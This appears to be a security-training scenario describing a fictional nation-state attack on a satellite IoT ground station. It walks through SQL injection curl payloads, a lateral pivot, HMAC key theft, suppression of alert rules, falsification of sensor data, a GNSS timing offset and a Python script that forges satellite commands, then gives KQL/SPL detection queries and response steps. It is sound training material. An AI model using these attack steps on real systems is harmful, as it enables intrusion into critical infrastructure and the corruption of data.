SC-083: Satellite IoT Ground Segment -- Operation GROUND ZERO¶

Scenario Overview¶

Narrative¶

Stellaris Networks is a fictional satellite IoT communications provider operating a Low Earth Orbit (LEO) constellation of 48 small satellites branded Stellaris-IoT. The constellation provides global IoT connectivity for agriculture sensors, maritime vessel tracking, pipeline monitoring, and environmental data collection. The ground segment consists of three ground stations located at geographically distributed sites:

• GS-Alpha (primary): gs-alpha.stellaris.example.com (198.51.100.20) -- located in northern Europe
• GS-Beta (secondary): gs-beta.stellaris.example.com (198.51.100.21) -- located in central Asia
• GS-Gamma (tertiary): gs-gamma.stellaris.example.com (198.51.100.22) -- located in South America

Each ground station runs a satellite command and control (C2) system based on the open-source SatNOGS framework (customized), with uplink transmitters operating in S-band (2.0-2.1 GHz) and downlink receivers in UHF (400-402 MHz). The C2 system manages satellite tasking, firmware updates, orbit maneuver scheduling, and IoT payload data relay. The ground stations connect to a central mission operations center (MOC) at moc.stellaris.example.com (10.30.0.10) via encrypted VPN tunnels.

In April 2026, a nation-state threat actor group designated ORBIT SHADOW -- specializing in space infrastructure targeting -- launches a multi-phase attack against Stellaris Networks' ground segment, beginning with exploitation of a web-based ground station monitoring interface and escalating to satellite command injection.

Attack Flow¶

graph TD
    A[Phase 1: Ground Station Web Interface Exploitation<br/>SQL injection in monitoring dashboard] --> B[Phase 2: Ground Station Network Pivot<br/>From web server to C2 control network]
    B --> C[Phase 3: C2 System Compromise<br/>Access satellite command and control]
    C --> D[Phase 4: Telemetry Manipulation<br/>Corrupt IoT sensor data in processing pipeline]
    D --> E[Phase 5: GNSS Spoofing<br/>Disrupt timing and positioning references]
    E --> F[Phase 6: Satellite Command Injection<br/>Send unauthorized commands to LEO satellites]
    F --> G[Phase 7: Detection<br/>Satellite anomaly + ground station alert]
    G --> H[Phase 8: Response<br/>Safe-mode activation + ground segment isolation]

Phase Details¶

Phase 1: Ground Station Web Interface Exploitation¶

ATT&CK Technique: T1190 (Exploit Public-Facing Application)

ORBIT SHADOW identifies that GS-Beta's web-based monitoring dashboard (a Django application) is exposed to the internet for remote operations staff. The dashboard provides read-only satellite pass schedules, signal strength metrics, and ground station health data. The attacker discovers a SQL injection vulnerability in the dashboard's satellite pass history search function.

# Simulated ground station web exploitation (educational only)
# Step 1: Identify vulnerable parameter in pass history search
$ curl -s "https://gs-beta.stellaris.example.com/dashboard/passes?sat_id=STELLARIS-07&date_from=2026-03-01" | head -20

# Step 2: SQL injection test
$ curl -s "https://gs-beta.stellaris.example.com/dashboard/passes?sat_id=STELLARIS-07%27%20OR%201=1--&date_from=2026-03-01"

# Response indicates SQL injection (all satellite passes returned)
# 1,247 pass records returned (normal: ~30 for single satellite)

# Step 3: Extract database credentials via UNION injection
$ curl -s "https://gs-beta.stellaris.example.com/dashboard/passes?sat_id=STELLARIS-07%27%20UNION%20SELECT%20username,password,3,4,5%20FROM%20auth_user--&date_from=2026-03-01"

# Extracted credentials (synthetic -- educational only):
# admin_ops: $2b$12$REDACTED (bcrypt hash)
# gs_monitor: $2b$12$REDACTED (bcrypt hash)
# firmware_update_svc: $2b$12$REDACTED (bcrypt hash -- service account)

# Step 4: Crack service account hash (weak password)
# firmware_update_svc: REDACTED (cracked via hashcat in 4 hours)
# This service account has elevated privileges for firmware operations

Phase 2: Ground Station Network Pivot¶

ATT&CK Technique: T1071 (Application Layer Protocol)

Using the compromised firmware_update_svc service account, ORBIT SHADOW accesses the ground station's internal network. The web dashboard server (10.30.50.20) sits in a DMZ with a network path to the internal C2 control network (10.30.10.0/24). The attacker exploits a misconfigured firewall rule that allows the firmware update service account to initiate connections to the C2 network for legitimate firmware staging operations.

# Simulated network pivot (educational only)
# Step 1: Authenticate to ground station management interface
$ curl -X POST https://gs-beta.stellaris.example.com/api/auth/login \
    -H "Content-Type: application/json" \
    -d "{\"username\": \"firmware_update_svc\", \"password\": \"REDACTED\"}"

# Response (simulated):
# token: eyJhbGciOiJIUzI1NiIs...REDACTED
# role: firmware_operator
# permissions: firmware:upload, firmware:stage, firmware:validate,
#   satellite:read, groundstation:read, c2_network:connect

# Step 2: Enumerate internal C2 network via firmware staging API
$ curl -s -H "Authorization: Bearer REDACTED" \
    "https://gs-beta.stellaris.example.com/api/firmware/staging/targets"

# Discovered staging targets (simulated):
# 10.30.10.5  - c2-primary (command_control)
# 10.30.10.6  - c2-backup (command_control)
# 10.30.10.10 - tlm-processor (telemetry)
# 10.30.10.15 - gnss-ref-rx (gnss_receiver)
# 10.30.10.20 - uplink-encoder (uplink)

# Step 3: SSH to C2 primary using firmware service account
$ ssh -i /app/firmware-svc/.ssh/id_ed25519 \
    firmware_update_svc@10.30.10.5

# SUCCESS -- landed on c2-primary
$ hostname
c2-primary.gs-beta.stellaris.example.com
$ id
uid=1002(firmware_update_svc) gid=1002(firmware) groups=1002(firmware),1005(c2_operators)

Phase 3: C2 System Compromise¶

ATT&CK Technique: T1059 (Command and Scripting Interpreter)

On the C2 primary server, ORBIT SHADOW discovers that the satellite command and control system uses a Python-based framework with a message queue (RabbitMQ) for command scheduling. The firmware_update_svc account has write access to the firmware update command queue, which the attacker leverages to inject arbitrary satellite commands.

# Simulated C2 system compromise (educational only)
# Step 1: Enumerate satellite command system
$ ls /opt/stellaris-c2/
bin/  config/  logs/  queue/  scripts/  telemetry/

# Step 2: Review constellation configuration
# constellation: Stellaris-IoT
# total_satellites: 48, active: 46
# maintenance: STELLARIS-12, STELLARIS-39
# 4 orbital planes (A-D), altitude 550km, inclination 97.4 deg

# Step 3: Examine command queue structure
$ rabbitmqctl list_queues -p /stellaris
# satellite_commands    47
# firmware_updates      3
# telemetry_ingest      1204
# orbit_maneuvers       0
# health_checks         12

# Step 4: Extract HMAC signing key from config
$ cat /opt/stellaris-c2/config/auth_keys.yaml
# command_auth:
#   hmac_algorithm: sha256
#   signing_key: "REDACTED"
#   key_rotation: monthly
#   last_rotation: 2026-03-01

Phase 4: Telemetry Manipulation¶

ATT&CK Technique: T1557 (Adversary-in-the-Middle)

Before sending commands to satellites, ORBIT SHADOW first compromises the telemetry processing pipeline to mask their activities. The attacker modifies the telemetry processor's filtering rules to suppress anomaly alerts that would be triggered by unauthorized satellite commands.

# Simulated telemetry alert rules -- BEFORE attack (educational only)
# File: /opt/stellaris-c2/telemetry/alert_rules.yaml
rules:
  - name: unauthorized_command_detected
    condition: "command_source NOT IN approved_sources"
    severity: CRITICAL
    action: alert_moc_immediately
    enabled: true   # Attacker changes to false

  - name: unexpected_attitude_change
    condition: "attitude_delta > 2.0 degrees in 60 seconds"
    severity: HIGH
    action: alert_ops_team
    enabled: true   # Attacker changes to false

  - name: firmware_version_mismatch
    condition: "reported_firmware != expected_firmware"
    severity: HIGH
    action: alert_firmware_team
    enabled: true   # Attacker changes to false

# Simulated IoT data corruption (educational only)
# Attacker modifies the IoT payload relay pipeline
# 12,000 IoT sensor readings per hour pass through this pipeline

$ python3 /opt/stellaris-c2/scripts/tlm_inject.py \
    --satellite STELLARIS-07 \
    --parameter battery_voltage --value 28.4 \
    --parameter solar_panel_current --value 1.2 \
    --parameter cpu_temperature --value 22.5 \
    --parameter attitude_error --value 0.001

# This masks any anomalous behavior the satellites exhibit
# after receiving unauthorized commands

# IoT data offsets inserted:
# Agricultural soil moisture: offset by +15% (triggers false irrigation)
# Maritime vessel positions: offset by 0.02 degrees (causes confusion)
# Pipeline pressure readings: offset by -5% (masks potential leaks)

Phase 5: GNSS Spoofing¶

Space/IoT-Specific Technique: GNSS Reference Receiver Spoofing

ORBIT SHADOW targets the ground station's GNSS reference receiver (10.30.10.15), which provides precision timing for satellite uplink scheduling and IoT data timestamping. By manipulating the GNSS receiver's configuration, the attacker introduces a timing offset that causes uplink commands to be transmitted during incorrect satellite pass windows.

# Simulated GNSS spoofing (educational only)
# Step 1: Access GNSS reference receiver management interface
$ ssh firmware_update_svc@10.30.10.15

# Receiver config: StellarisGNSS-R200
# Mode: timing_reference
# Constellations: GPS, GALILEO, GLONASS
# PPS output: enabled, NTP server: enabled
# Timing accuracy: 20ns

# Step 2: Inject timing offset via configuration manipulation
# Attacker adds a 500ms offset to the PPS reference
$ printf "pps_offset_us: 500000\napply_mode: silent\n" >> \
    /opt/gnss-ref/config/corrections_override.conf

# Step 3: Restart GNSS service to apply offset
$ systemctl restart gnss-ref-receiver

# Effect: All systems using GS-Beta timing reference
# are now 500ms off from true UTC
# 1. Uplink commands transmitted at wrong satellite pass timing
# 2. IoT data timestamps are 500ms skewed
# 3. Inter-ground-station time synchronization breaks
# 4. Satellite tracking predictions become less accurate

Phase 6: Satellite Command Injection¶

ATT&CK Technique: T1495 (Firmware Corruption)

With telemetry alerts suppressed and GNSS timing manipulated, ORBIT SHADOW injects commands into the satellite C2 queue targeting two satellites: STELLARIS-07 and STELLARIS-23. The commands instruct the satellites to enter a diagnostic mode that disables normal IoT payload operations and enables direct memory readout.

# Simulated satellite command injection (educational only)
import pika
import json
import hmac
import hashlib
from datetime import datetime

HMAC_KEY = b"REDACTED"  # Extracted from auth_keys.yaml

def generate_hmac(sat_id, cmd_type, payload):
    msg = f"{sat_id}:{cmd_type}:{json.dumps(payload)}"
    return hmac.new(HMAC_KEY, msg.encode(), hashlib.sha256).hexdigest()

# Command 1: Switch STELLARIS-07 to diagnostic mode
cmd1 = {
    "satellite_id": "STELLARIS-07",
    "command_type": "mode_change",
    "payload": {
        "target_mode": "DIAGNOSTIC",
        "disable_payload": True,
        "enable_memory_readout": True,
        "readout_target": "downlink_buffer",
        "duration_orbits": 48
    },
    "timestamp": datetime.utcnow().isoformat(),
    "priority": "high",
    "source": "gs-beta",
}
cmd1["auth_hmac"] = generate_hmac(
    cmd1["satellite_id"], cmd1["command_type"], cmd1["payload"]
)

# Command 2: Upload modified firmware to STELLARIS-23
cmd2 = {
    "satellite_id": "STELLARIS-23",
    "command_type": "firmware_update",
    "payload": {
        "firmware_version": "2.4.1-diagnostic",
        "firmware_url": "file:///opt/stellaris-c2/firmware/staged/diag-2.4.1.bin",
        "validation_hash": "sha256:REDACTED",
        "rollback_enabled": False,
        "reboot_after_update": True
    },
    "timestamp": datetime.utcnow().isoformat(),
    "priority": "high",
    "source": "gs-beta",
}
cmd2["auth_hmac"] = generate_hmac(
    cmd2["satellite_id"], cmd2["command_type"], cmd2["payload"]
)

# Publish commands to satellite command queue
connection = pika.BlockingConnection(
    pika.ConnectionParameters("10.30.10.5", 5672)
)
channel = connection.channel()

for cmd in [cmd1, cmd2]:
    channel.basic_publish(
        exchange="",
        routing_key="satellite_commands",
        body=json.dumps(cmd)
    )
    print(f"Command queued: {cmd['satellite_id']} - {cmd['command_type']}")

connection.close()

# Output:
# Command queued: STELLARIS-07 - mode_change
# Command queued: STELLARIS-23 - firmware_update
# Commands transmitted during next satellite pass windows

Phase 7: Detection¶

The attack is detected through multiple channels when the unauthorized commands produce observable effects:

Channel 1 (T+3 hours): MOC Satellite Health Dashboard -- The Mission Operations Center detects that STELLARIS-07 has entered DIAGNOSTIC mode without a scheduled maintenance window. The mode change was not logged in the operations calendar, triggering an investigation.

Channel 2 (T+4 hours): Inter-Ground-Station Time Discrepancy -- GS-Alpha detects a 500ms timing discrepancy between its own GNSS reference and GS-Beta's reported time. The network time protocol (NTP) monitoring system flags the divergence.

Channel 3 (T+5 hours): IoT Customer Complaint -- An agricultural customer reports that their soil moisture readings have been consistently elevated for the past 6 hours, triggering unnecessary irrigation. Investigation reveals systematic data offset across multiple IoT verticals.

Simulated detection timeline (educational only)
[2026-04-01 17:14:22 UTC] MOC DASHBOARD -- ANOMALY
  Source: moc.stellaris.example.com
  Alert: UNSCHEDULED_MODE_CHANGE
  Satellite: STELLARIS-07
  Current mode: DIAGNOSTIC
  Expected mode: NOMINAL
  Scheduled maintenance: NONE
  Last authorized command: 2026-03-28 (routine health check)
  Action: Operations team investigation initiated

[2026-04-01 18:02:15 UTC] NTP MONITORING -- WARNING
  Source: gs-alpha.stellaris.example.com
  Alert: INTER_STATION_TIME_DISCREPANCY
  Details:
    GS-Alpha GNSS time: 2026-04-01T18:02:15.000Z
    GS-Beta GNSS time:  2026-04-01T18:02:15.500Z
    Discrepancy: 500ms (threshold: 50ms)
  GNSS receiver health: GS-Beta reports nominal (suspicious)
  Action: GNSS team investigation

[2026-04-01 19:30:00 UTC] CUSTOMER SUPPORT -- COMPLAINT
  Source: AgriSense Corp (IoT customer)
  Alert: DATA_QUALITY_ISSUE
  Details: Soil moisture readings elevated 15% above
           expected values for past 6 hours across all sensors
  Sensors affected: 847 agricultural IoT devices
  Impact: Unnecessary irrigation triggered on 12 farms
  Action: IoT data quality team investigation

[2026-04-01 20:15:00 UTC] CORRELATION -- CRITICAL INCIDENT
  SOC correlates three separate alerts:
  1. Unscheduled satellite mode change
  2. Ground station timing discrepancy
  3. IoT data quality degradation
  Assessment: Coordinated ground segment compromise
  Severity: CRITICAL
  Action: Full ground segment incident response activated

Detection Queries:

// KQL -- Detect unauthorized satellite commands
SatelliteCommandLog
| where TimeGenerated > ago(24h)
| where CommandType in ("mode_change", "firmware_update", "orbit_maneuver")
| join kind=leftanti (
    MaintenanceSchedule
    | where ScheduledDate between (ago(24h) .. now())
    | project SatelliteID, CommandType
) on SatelliteID, CommandType
| extend IsUnauthorized = true
| project TimeGenerated, SatelliteID, CommandType,
          SourceGroundStation, CommandPayload, AuthHMAC

// KQL -- Detect GNSS timing anomalies
GNSSTimingLog
| where TimeGenerated > ago(6h)
| summarize AvgOffset = avg(TimingOffsetMs),
            MaxOffset = max(TimingOffsetMs),
            StdDevOffset = stdev(TimingOffsetMs)
  by GroundStation, bin(TimeGenerated, 5m)
| where MaxOffset > 50 or StdDevOffset > 10
| project TimeGenerated, GroundStation, AvgOffset,
          MaxOffset, StdDevOffset

// KQL -- Detect IoT telemetry data manipulation
IoTSensorDataLog
| where TimeGenerated > ago(12h)
| summarize AvgValue = avg(SensorValue),
            BaselineValue = avg(iff(TimeGenerated < ago(6h), SensorValue, double(null))),
            RecentValue = avg(iff(TimeGenerated > ago(6h), SensorValue, double(null)))
  by SensorType, bin(TimeGenerated, 1h)
| extend Deviation = abs(RecentValue - BaselineValue) / BaselineValue * 100
| where Deviation > 10
| project TimeGenerated, SensorType, BaselineValue, RecentValue, Deviation

// KQL -- Detect ground station lateral movement
GroundStationAuthLog
| where TimeGenerated > ago(24h)
| where UserName == "firmware_update_svc"
| where DestinationHost !in ("firmware-staging-01", "firmware-staging-02")
| summarize LoginCount = count(),
            UniqueHosts = dcount(DestinationHost),
            Hosts = make_set(DestinationHost)
  by SourceIP, bin(TimeGenerated, 1h)
| where UniqueHosts > 2
| project TimeGenerated, SourceIP, LoginCount, UniqueHosts, Hosts

# SPL -- Detect unauthorized satellite commands
index=satellite sourcetype=command_log
  command_type IN ("mode_change", "firmware_update", "orbit_maneuver")
| lookup maintenance_schedule satellite_id OUTPUT scheduled_date
| where isnull(scheduled_date)
| table _time, satellite_id, command_type, source_ground_station,
        command_payload, auth_hmac

# SPL -- Detect GNSS timing anomalies
index=gnss sourcetype=timing_log
| bin _time span=5m
| stats avg(timing_offset_ms) as avg_offset,
        max(timing_offset_ms) as max_offset,
        stdev(timing_offset_ms) as stddev_offset
  by ground_station, _time
| where max_offset > 50 OR stddev_offset > 10
| table _time, ground_station, avg_offset, max_offset, stddev_offset

# SPL -- Detect IoT telemetry data manipulation
index=iot sourcetype=sensor_data
| bin _time span=1h
| stats avg(sensor_value) as avg_value by sensor_type, _time
| streamstats window=6 avg(avg_value) as baseline by sensor_type
| eval deviation=abs(avg_value - baseline) / baseline * 100
| where deviation > 10
| table _time, sensor_type, baseline, avg_value, deviation

# SPL -- Detect ground station lateral movement
index=groundstation sourcetype=auth_log
  username="firmware_update_svc"
  NOT dest_host IN ("firmware-staging-01", "firmware-staging-02")
| bin _time span=1h
| stats count as login_count,
        dc(dest_host) as unique_hosts,
        values(dest_host) as hosts
  by src_ip, _time
| where unique_hosts > 2
| table _time, src_ip, login_count, unique_hosts, hosts

Phase 8: Response¶

Immediate Actions (0-4 hours):

Simulated incident response (educational only)
[2026-04-01 20:30:00 UTC] ALERT: Space Security CSIRT activated
[2026-04-01 20:35:00 UTC] ACTION: GS-Beta ISOLATED from constellation network
  VPN tunnel to MOC: SEVERED
  Uplink transmitter: DISABLED (hardware interlock engaged)
  All outbound satellite commands from GS-Beta: BLOCKED
  GS-Alpha and GS-Gamma: assume full constellation control

[2026-04-01 20:45:00 UTC] ACTION: Emergency safe-mode commands sent
  STELLARIS-07: SAFE_MODE command via GS-Alpha
    Satellite enters autonomous safe hold, all payloads disabled
    Attitude control: sun-pointing mode
  STELLARIS-23: FIRMWARE_ROLLBACK command via GS-Alpha
    Rollback to last known-good firmware (v2.3.8)
    Satellite placed in SAFE_MODE pending verification

[2026-04-01 21:00:00 UTC] ACTION: GNSS reference receiver isolated
  GS-Beta GNSS receiver: powered down
  GS-Alpha and GS-Gamma NTP: verified against independent sources
  All IoT data timestamps from past 6 hours: flagged for correction

[2026-04-01 21:15:00 UTC] ACTION: Telemetry pipeline audit
  Alert suppression rules: REVERTED to known-good configuration
  IoT data modification: identified and reversed
  Customer notifications: 47 IoT customers notified of data issue

[2026-04-01 22:00:00 UTC] ACTION: Forensic collection
  GS-Beta servers: full disk images collected
  RabbitMQ command logs: preserved
  Network flow data: 72 hours of PCAP collected
  GNSS receiver logs: preserved

Recovery (1-2 weeks):

• GS-Beta: complete rebuild from hardened golden images
• STELLARIS-07: recovered from safe-mode after 72-hour diagnostic period; all subsystems verified nominal
• STELLARIS-23: firmware rollback successful; satellite returned to nominal operations after 96-hour verification
• IoT data correction: 12,000 affected sensor readings corrected and customers notified
• GNSS reference receivers: upgraded with spoofing detection (multi-constellation cross-validation)
• C2 system: command authentication upgraded from HMAC to per-satellite asymmetric key pairs
• Network segmentation: firmware service account restricted to firmware-only network segment
• Web dashboard: removed from internet exposure; VPN-only access implemented
• Command queue: mandatory dual-authorization for mode changes and firmware updates

Decision Points (Tabletop Exercise)¶

Lessons Learned¶

MITRE ATT&CK Mapping¶

Related Resources¶

• Chapter 34: Mobile & IoT Security
• Chapter 20: Cloud Attack & Defense
• Chapter 24: Supply Chain Attacks
• Chapter 44: Web Application Pentesting
• Chapter 48: Exploit Development Concepts
• Chapter 46: Cloud & Container Red Teaming
• SC-082: Cross-Chain Bridge Exploit
• SC-084: Deepfake Detection Evasion